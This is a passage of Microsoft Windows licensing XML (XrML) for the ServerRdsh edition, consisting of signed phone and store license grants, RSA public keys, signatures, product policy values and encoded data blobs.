i+bUh2UXOL6cMEdBQHxptbrKC0L9mT9ox2exfkuAelr+sgcp2z2GoWNPNRHJBwP5RWvRrdQhbh9a1ngudfjOA+/A+aS5/bxnmGnDmqCTrM5DwxK4fhbTfW7gGHw1S7s+yUNaAmQ1zGQf6hTQRNwz/WImgVwl8BfI7hFMj/+HayxLviWCKP7H2jXE8pmZlT63/bbLOwKOZ1eo2JoKw5QlFJ36E1YUAre5L0+1Ss6N/jRxqsEAZKpCUI4fAOkNz6lCI9I3BL48AAAWDiyPbQR8hBZM1Nvw/x+Wg4ZENIUcDIEoNRI9TfDZ8JbA4sL3VAXqaFtPcmr8P6YwuwALwJIjVvdsQlBCvxfBOiQdAImODBww6R5g8rJKK/FfGWEDDXN8D6Y3wIfegS/qGTPRykFwjx3V0L/YwmSh2r8mkWv8grhc44PTd6LCISm153vdpuCALIz/O2iV6tqJJKhw9GHQdAPq0ADpQp5cmBOwy2r81wgUw1lGZTOTBDDCoSmdCagvMgADULLcsPtExRQtjuQ7w71o1EN3/c+eBmBkGstTpfHOSwqiAICAAEABQABAAIAAQAHAAMAAQAHABM=</sl:data></sl:binding></mx:renderer><sl:productIdRange xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2" value="{fa755fe6-6739-40b9-8d84-6d0ea3b6d1ab}"></sl:productIdRange><sl:externalValidator xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2"><sl:type>msft:sl/externalValidator/generic</sl:type><sl:data Algorithm="msft:rm/algorithm/flags/1.0">DAAAAAEAAAABAAAA</sl:data></sl:externalValidator></r:allConditions></r:grant><r:issuer><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.microsoft.com/xrml/lwc14n"/><SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/><Reference><Transforms><Transform Algorithm="urn:mpeg:mpeg21:2003:01-REL-R-NS:licenseTransform"/><Transform Algorithm="http://www.microsoft.com/xrml/lwc14n"/></Transforms><DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/><DigestValue>zwufqs8x4NSavhHH8yrV3eBTULs=</DigestValue></Reference></SignedInfo><SignatureValue>hDjJCvs5/ntuMyhNchUeYZeDIr9cxt8Ak9uennooLhXQKZc8RM4oANCsLQIDzhPTOo0Npc3fe8NT8l6dZVIig7pe9Ql/k/57zA1XDOxVW5tVV24gh+sgoGW0dvMokQBU4/ZSN9WV35C7JlmVikON4XBfi6wP9Dhd7HJb9mL+pGKVKTIjnAT+Pv+QDU5C8peN0WDWFukGIoZpw3YW6PLdwyFw8l/3goP71OMfscxfcus+rWMSuG8wzsvItqogT7kEmSHvqqtUKl1DbFfJMXHFP6bxoDYpFD/E/DhzUSztAwSK4/OMmJL5LcXXwT8weBpplS2jK2/FR4mBnUz3033gNA==</SignatureValue><KeyInfo><KeyValue><RSAKeyValue><Modulus>tajcnLtdaeK0abuL2BpVC7obdfSChnHAx7TSn/37DwbTDegkDkEnbr0YyO/Q5Jluj5QD897+nWW54RDbYYTdNgWjyUpwYEJFXSZtd8LFK2mbIjKfG2HIShp6JJARlrgObR89a1EH716nP3PbJk6PWQa6VfjBzPQUgSVywIRU+OKbnzNbUVmQ/rAN6+AN/8fRmFhyKqOAiV/Np2jBtGNxLXm9ebMdm5cB8/YNrjp5Ey0nyAtYvovb0B7wnQZfolMF+OFiqzWJo2Ze0O7WHsWBHtIlGR3+c/IjxUJAsI7O3U4hncCZdvlC5GORI2YL9YHZgU9guSPLhAybQ3IGg7LBuQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature><r:details><r:timeOfIssue>2016-01-01T00:00:00Z</r:timeOfIssue></r:details></r:issuer><r:otherInfo xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS"><tm:infoTables xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><tm:infoList tag="#global"><tm:infoStr name="licenseType">msft:sl/EUL/PHONE/PUBLIC</tm:infoStr><tm:infoStr name="licenseCategory">msft:sl/EUL/PHONE/PUBLIC</tm:infoStr><tm:infoStr name="licenseVersion">2.0</tm:infoStr><tm:infoStr name="licensorUrl">http://licensing.microsoft.com</tm:infoStr><tm:infoStr name="issuanceCertificateId">{7e3094cf-ce3e-4ed4-8c8c-20c2be1add03}</tm:infoStr><tm:infoStr name="productSkuId">{fa755fe6-6739-40b9-8d84-6d0ea3b6d1ab}</tm:infoStr><tm:infoStr name="privateCertificateId">{540e30c3-22ea-4d9a-b513-2dc012bb460f}</tm:infoStr><tm:infoStr name="applicationId">{55c92734-d682-4d71-983e-d6ec3f16059f}</tm:infoStr><tm:infoStr name="pkeyConfigLicenseId">{06a4dd30-84b7-4fd2-b859-f1eddb0858f5}</tm:infoStr><tm:infoStr name="productName">Windows(R), ServerRdsh edition</tm:infoStr><tm:infoStr name="productAuthor">Microsoft Corporation</tm:infoStr><tm:infoStr name="productDescription">Windows(R) Operating System, OEM_COA_NSLP channel</tm:infoStr><tm:infoStr name="UXDifferentiator">OEM_COA_NSLP</tm:infoStr><tm:infoStr name="Family">ServerRdsh</tm:infoStr><tm:infoStr name="ProductKeyGroupUniqueness">WINDOWS6.2</tm:infoStr><tm:infoStr name="hwid:ootGrace">0</tm:infoStr><tm:infoStr name="phone:policy">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</tm:infoStr></tm:infoList></tm:infoTables></r:otherInfo></r:license><r:license xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS" licenseId="{540e30c3-22ea-4d9a-b513-2dc012bb460f}" xmlns:sx="urn:mpeg:mpeg21:2003:01-REL-SX-NS" xmlns:mx="urn:mpeg:mpeg21:2003:01-REL-MX-NS" xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2" xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><r:title>Windows(R) UL phone License (Private)</r:title><r:grant><r:forAll varName="anyRight"></r:forAll><r:forAll varName="anyAppId"></r:forAll><r:keyHolder licensePartId="accountKey"><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>17FgQIuX2S7YIVn8PIeN+qANo4/TUbV8CH5TzbXwmWo4WVI4npVqI4NNhRVsP0ICgMpql1jgAm75dZDBPTzRTCj+Ni0DXIvk6Whlo/ClK/fpZUO3ORQ9VmBE3cXeQQAehgVlUUIzOmG4EeP1i91PCGf5O7I4ayYS2FeQUj+6hyk=</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder><tm:decryptContent/><tm:symmetricKey><tm:AESKeyValue size="16">AAAAAAAAAAAAAAAAAAAAAA==</tm:AESKeyValue></tm:symmetricKey><r:allConditions><r:prerequisiteRight><r:keyHolder licensePartIdRef="accountKey"/><r:right varRef="anyRight"/><sl:appId varRef="anyAppId"/><r:trustedRootIssuers><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>tajcnLtdaeK0abuL2BpVC7obdfSChnHAx7TSn/37DwbTDegkDkEnbr0YyO/Q5Jluj5QD897+nWW54RDbYYTdNgWjyUpwYEJFXSZtd8LFK2mbIjKfG2HIShp6JJARlrgObR89a1EH716nP3PbJk6PWQa6VfjBzPQUgSVywIRU+OKbnzNbUVmQ/rAN6+AN/8fRmFhyKqOAiV/Np2jBtGNxLXm9ebMdm5cB8/YNrjp5Ey0nyAtYvovb0B7wnQZfolMF+OFiqzWJo2Ze0O7WHsWBHtIlGR3+c/IjxUJAsI7O3U4hncCZdvlC5GORI2YL9YHZgU9guSPLhAybQ3IGg7LBuQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder></r:trustedRootIssuers></r:prerequisiteRight><r:allConditions></r:allConditions></r:allConditions></r:grant><r:issuer><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.microsoft.com/xrml/lwc14n"/><SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/><Reference><Transforms><Transform Algorithm="urn:mpeg:mpeg21:2003:01-REL-R-NS:licenseTransform"/><Transform Algorithm="http://www.microsoft.com/xrml/lwc14n"/></Transforms><DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/><DigestValue>KTCAfGenLQLHhDMb/atpv/RHWJw=</DigestValue></Reference></SignedInfo><SignatureValue>XjS2D2M8IviPjfbuEkKBRIERgwj5cGt2OoWOmre6NkQbnGEI4o96Xlg4Zgo3uy3Uk39WLcQc9AY+tRq7xK1JyvWxgJzRvIP1MqshWAYDN/rTJoX1xL1gazbEyelG+3zQHzNzd7JN27EMxQGU6bNIaQZvO16UF+NbDwFWD7jgQ8dl3X8HKpxRfrvvsiSHkWK66A4Bs4uDz1jkzHX9Uk23ycabGFX+YjK7NiJ5C0sswt4lPMeBMCE0Fz9Bw2BiJxQJMJwPgNKQQ554qOs/h7gaW7mgNJ7PvMiJtuuBYwPKaxGV3+rHbYaC0isQnrFtPelFyamvivN7P8luHex0PGbVBQ==</SignatureValue><KeyInfo><KeyValue><RSAKeyValue><Modulus>tajcnLtdaeK0abuL2BpVC7obdfSChnHAx7TSn/37DwbTDegkDkEnbr0YyO/Q5Jluj5QD897+nWW54RDbYYTdNgWjyUpwYEJFXSZtd8LFK2mbIjKfG2HIShp6JJARlrgObR89a1EH716nP3PbJk6PWQa6VfjBzPQUgSVywIRU+OKbnzNbUVmQ/rAN6+AN/8fRmFhyKqOAiV/Np2jBtGNxLXm9ebMdm5cB8/YNrjp5Ey0nyAtYvovb0B7wnQZfolMF+OFiqzWJo2Ze0O7WHsWBHtIlGR3+c/IjxUJAsI7O3U4hncCZdvlC5GORI2YL9YHZgU9guSPLhAybQ3IGg7LBuQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature><r:details><r:timeOfIssue>2016-01-01T00:00:00Z</r:timeOfIssue></r:details></r:issuer><r:otherInfo xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS"><tm:infoTables xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><tm:infoList tag="#global"><tm:infoStr name="licenseType">msft:sl/EUL/PHONE/PRIVATE</tm:infoStr><tm:infoStr name="licenseCategory">msft:sl/EUL/PHONE/PRIVATE</tm:infoStr><tm:infoStr name="licenseVersion">2.0</tm:infoStr><tm:infoStr name="licensorUrl">http://licensing.microsoft.com</tm:infoStr><tm:infoStr name="issuanceCertificateId">{7e3094cf-ce3e-4ed4-8c8c-20c2be1add03}</tm:infoStr><tm:infoStr name="publicCertificateId">{8f36b184-1a5b-4e8f-be5b-4ba6a6fb921a}</tm:infoStr><tm:infoStr name="productSkuId">{fa755fe6-6739-40b9-8d84-6d0ea3b6d1ab}</tm:infoStr><tm:infoStr name="hwid:ootGrace">0</tm:infoStr><tm:infoStr name="win:branding">175</tm:infoStr></tm:infoList></tm:infoTables></r:otherInfo></r:license></rg:licenseGroup>
<?xml version="1.0" encoding="utf-8"?><rg:licenseGroup xmlns:rg="urn:mpeg:mpeg21:2003:01-REL-R-NS"><r:license xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS" licenseId="{40c99779-bce8-4565-8eb2-2361648522a1}" xmlns:sx="urn:mpeg:mpeg21:2003:01-REL-SX-NS" xmlns:mx="urn:mpeg:mpeg21:2003:01-REL-MX-NS" xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2" xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><r:title>Windows(R) UL store License (Public)</r:title><r:grant><r:forAll varName="application"><r:anXmlExpression>editionId[@value="" or @value="ServerRdsh"]</r:anXmlExpression></r:forAll><r:forAll varName="appid"><r:propertyPossessor><tm:application varRef="application"/><r:trustedRootIssuers><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>tajcnLtdaeK0abuL2BpVC7obdfSChnHAx7TSn/37DwbTDegkDkEnbr0YyO/Q5Jluj5QD897+nWW54RDbYYTdNgWjyUpwYEJFXSZtd8LFK2mbIjKfG2HIShp6JJARlrgObR89a1EH716nP3PbJk6PWQa6VfjBzPQUgSVywIRU+OKbnzNbUVmQ/rAN6+AN/8fRmFhyKqOAiV/Np2jBtGNxLXm9ebMdm5cB8/YNrjp5Ey0nyAtYvovb0B7wnQZfolMF+OFiqzWJo2Ze0O7WHsWBHtIlGR3+c/IjxUJAsI7O3U4hncCZdvlC5GORI2YL9YHZgU9guSPLhAybQ3IGg7LBuQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder></r:trustedRootIssuers></r:propertyPossessor></r:forAll><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>17FgQIuX2S7YIVn8PIeN+qANo4/TUbV8CH5TzbXwmWo4WVI4npVqI4NNhRVsP0ICgMpql1jgAm75dZDBPTzRTCj+Ni0DXIvk6Whlo/ClK/fpZUO3ORQ9VmBE3cXeQQAehgVlUUIzOmG4EeP1i91PCGf5O7I4ayYS2FeQUj+6hyk=</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder><sl:runSoftware/><sl:appId varRef="appid"/><r:allConditions><r:allConditions><sl:productPolicies xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2"><sl:priority>500</sl:priority><sl:policyInt name="Security-SPP-Reserved-Store-Token-Required" attributes="override-only">0</sl:policyInt><sl:policyInt name="Microsoft-Windows-Core-THQAEnabled" attributes="override-only">1</sl:policyInt><sl:policyStr name="Security-SPP-Reserved-Windows-Version-V2" attributes="override-only">10.0</sl:policyStr><sl:policyInt name="Security-SPP-WriteWauMarker">1</sl:policyInt><sl:policyStr name="Security-SPP-Reserved-Family" attributes="override-only">ServerRdsh</sl:policyStr></sl:productPolicies></r:allConditions><mx:renderer><sl:noBinding/></mx:renderer><sl:productIdRange xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2" value="{fa755fe6-6739-40b9-8d84-6d0ea3b6d1ab}"></sl:productIdRange><sl:externalValidator xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2"><sl:type>msft:sl/externalValidator/generic</sl:type><sl:data Algorithm="msft:rm/algorithm/flags/1.0">DAAAAAEAAAABAAAA</sl:data></sl:externalValidator></r:allConditions></r:grant><r:issuer><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.microsoft.com/xrml/lwc14n"/><SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/><Reference><Transforms><Transform Algorithm="urn:mpeg:mpeg21:2003:01-REL-R-NS:licenseTransform"/><Transform Algorithm="http://www.microsoft.com/xrml/lwc14n"/></Transforms><DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/><DigestValue>aqWvJsv0CcIM7KxvgoXpaNOzRfg=</DigestValue></Reference></SignedInfo><SignatureValue>nD7TIaJxV9G1XtuI8nV3/q0erHhFncp5mKYpZVQglZPLA8MJ171ZNloOv+aZEuB9RC/rd0pt7Ez8jNpqwQILx7BDQBCeU+RrEdHJcZOzEE7ai0HqPcU/qTmwBK7JnniaxvuolmmPMk1pR3bJwDGQkDDH3NPS8bSpza64HY/0rNKQU0NqU5kRQye6Akkft0oAXWd81Px6Es4npyrIsWK+0vv+NQINU3eaeqlNhnESNqN23EGpF7d+DvRXkDPmurBChfXNMfjm6VSGmJF7d0G52lPKSZdvLSb/M+4aDI91qEJr9vPLWX3bnPgkH9yCOCP5nc98D2/9hPYlWryeEX2Big==</SignatureValue><KeyInfo><KeyValue><RSAKeyValue><Modulus>tajcnLtdaeK0abuL2BpVC7obdfSChnHAx7TSn/37DwbTDegkDkEnbr0YyO/Q5Jluj5QD897+nWW54RDbYYTdNgWjyUpwYEJFXSZtd8LFK2mbIjKfG2HIShp6JJARlrgObR89a1EH716nP3PbJk6PWQa6VfjBzPQUgSVywIRU+OKbnzNbUVmQ/rAN6+AN/8fRmFhyKqOAiV/Np2jBtGNxLXm9ebMdm5cB8/YNrjp5Ey0nyAtYvovb0B7wnQZfolMF+OFiqzWJo2Ze0O7WHsWBHtIlGR3+c/IjxUJAsI7O3U4hncCZdvlC5GORI2YL9YHZgU9guSPLhAybQ3IGg7LBuQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature><r:details><r:timeOfIssue>2016-01-01T00:00:00Z</r:timeOfIssue></r:details></r:issuer><r:otherInfo xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS"><tm:infoTables xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><tm:infoList tag="#global"><tm:infoStr name="licenseType">msft:sl/EUL/STORE/PUBLIC</tm:infoStr><tm:infoStr name="licenseCategory">msft:sl/EUL/STORE/PUBLIC</tm:infoStr><tm:infoStr name="licenseVersion">2.0</tm:infoStr><tm:infoStr name="licensorUrl">http://licensing.microsoft.com</tm:infoStr><tm:infoStr name="issuanceCertificateId">{7e3094cf-ce3e-4ed4-8c8c-20c2be1add03}</tm:infoStr><tm:infoStr name="productSkuId">{fa755fe6-6739-40b9-8d84-6d0ea3b6d1ab}</tm:infoStr><tm:infoStr name="privateCertificateId">{4567008d-4177-42ac-a78c-c7a02b36b06a}</tm:infoStr><tm:infoStr name="applicationId">{55c92734-d682-4d71-983e-d6ec3f16059f}</tm:infoStr><tm:infoStr name="pkeyConfigLicenseId">{06a4dd30-84b7-4fd2-b859-f1eddb0858f5}</tm:infoStr><tm:infoStr name="productName">Windows(R), ServerRdsh edition</tm:infoStr><tm:infoStr name="productAuthor">Microsoft Corporation</tm:infoStr><tm:infoStr name="productDescription">Windows(R) Operating System, OEM_COA_NSLP channel</tm:infoStr><tm:infoStr name="UXDifferentiator">OEM_COA_NSLP</tm:infoStr><tm:infoStr name="Family">ServerRdsh</tm:infoStr><tm:infoStr name="ProductKeyGroupUniqueness">WINDOWS6.2</tm:infoStr><tm:infoStr name="hwid:ootGrace">0</tm:infoStr></tm:infoList></tm:infoTables></r:otherInfo></r:license><r:license xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS" licenseId="{4567008d-4177-42ac-a78c-c7a02b36b06a}" xmlns:sx="urn:mpeg:mpeg21:2003:01-REL-SX-NS" xmlns:mx="urn:mpeg:mpeg21:2003:01-REL-MX-NS" xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2" xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><r:title>Windows(R) UL store License (Private)</r:title><r:grant><r:forAll varName="anyRight"></r:forAll><r:forAll varName="anyAppId"></r:forAll><r:keyHolder licensePartId="accountKey"><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>17FgQIuX2S7YIVn8PIeN+qANo4/TUbV8CH5TzbXwmWo4WVI4npVqI4NNhRVsP0ICgMpql1jgAm75dZDBPTzRTCj+Ni0DXIvk6Whlo/ClK/fpZUO3ORQ9VmBE3cXeQQAehgVlUUIzOmG4EeP1i91PCGf5O7I4ayYS2FeQUj+6hyk=</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder><tm:decryptContent/><tm:symmetricKey><tm:AESKeyValue size="16">AAAAAAAAAAAAAAAAAAAAAA==</tm:AESKeyValue></tm:symmetricKey><r:allConditions><r:prerequisiteRight><r:keyHolder licensePartIdRef="accountKey"/><r:right varRef="anyRight"/><sl:appId varRef="anyAppId"/><r:trustedRootIssuers><r:keyHolder><r:info><KeyValue 